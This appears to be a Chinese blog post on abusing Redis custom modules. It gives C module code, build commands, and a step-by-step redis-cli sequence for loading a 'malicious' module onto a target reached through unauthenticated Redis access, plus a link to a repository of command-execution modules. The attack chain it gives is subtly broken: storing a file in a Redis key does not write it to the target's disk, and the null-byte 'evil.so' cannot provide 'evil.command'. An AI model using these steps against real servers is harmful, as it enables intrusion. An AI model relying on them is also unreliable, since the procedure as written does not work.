Jul 10 2024 Off 简介 Redis自定义模块允许用户扩展Redis的功能,添加新的命令和数据类型。这种灵活性使得Redis不仅仅是一个键值存储,还可以用于更复杂的应用场景。然而,这也带来了潜在的安全风险,攻击者可能利用这些自定义模块执行恶意命令。下面是关于Redis自定义模块执行命令的介绍和漏洞利用方法。 Redis自定义模块介绍 Redis自定义模块是从Redis 4.0版本开始引入的,允许开发者编写自己的模块并加载到Redis中。模块可以用C语言编写,并编译成动态库(.so文件),然后通过Redis命令加载。 创建模块文件:编写一个简单的C语言文件,例如malicious_module.c #include <stdio.h> #include <stdlib.h> #include <string.h> #include "redismodule.h" int MaliciousCommand(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) { RedisModule_ReplyWithSimpleString(ctx, "Malicious code executed!"); return REDISMODULE_OK; } int RedisModule_OnLoad(RedisModuleCtx *ctx, RedisModuleString **argv, int argc) { if (RedisModule_Init(ctx, "malicious_module", 1, REDISMODULE_APIVER_1) == REDISMODULE_ERR) { return REDISMODULE_ERR; } if (RedisModule_CreateCommand(ctx, "malicious_command", MaliciousCommand, "write", 1, 1, 1) == REDISMODULE_ERR) { return REDISMODULE_ERR; } return REDISMODULE_OK; } 编译模块: gcc -shared -o malicious_module.so malicious_module.c -I /usr/share/metasploit-framework/data/exploits/redis/ -fPIC 将编译文件移动到默认目录: cp malicious_module.so /etc/redis 加载并使用模块: redis-cli 127.0.0.1:6379> MODULE LOAD /etc/redis/malicious_module.so 127.0.0.1:6379> MODULE LIST 127.0.0.1:6379> malicious_command 漏洞利用方法 攻击者可以利用Redis的未授权访问漏洞加载恶意模块,从而执行任意命令。以下是一个利用Redis未授权访问漏洞加载恶意模块的示例。 写入恶意模块: echo -e "\x00\x00\x00\x00\x00\x00\x00\x00" > /tmp/evil.so redis-cli -h <目标IP> -p 6379 -x set mymodule < /tmp/evil.so 加载恶意模块: redis-cli -h <目标IP> -p 6379 MODULE LOAD /tmp/evil.so 执行恶意命令: redis-cli -h <目标IP> -p 6379 evil.command Other 更多模块:https://github.com/n0b0dyCN/RedisModules-ExecuteCommand Post navigation Previous PostPrevious ELF 二进制文件感染Next PostNext 创建RDP有效负载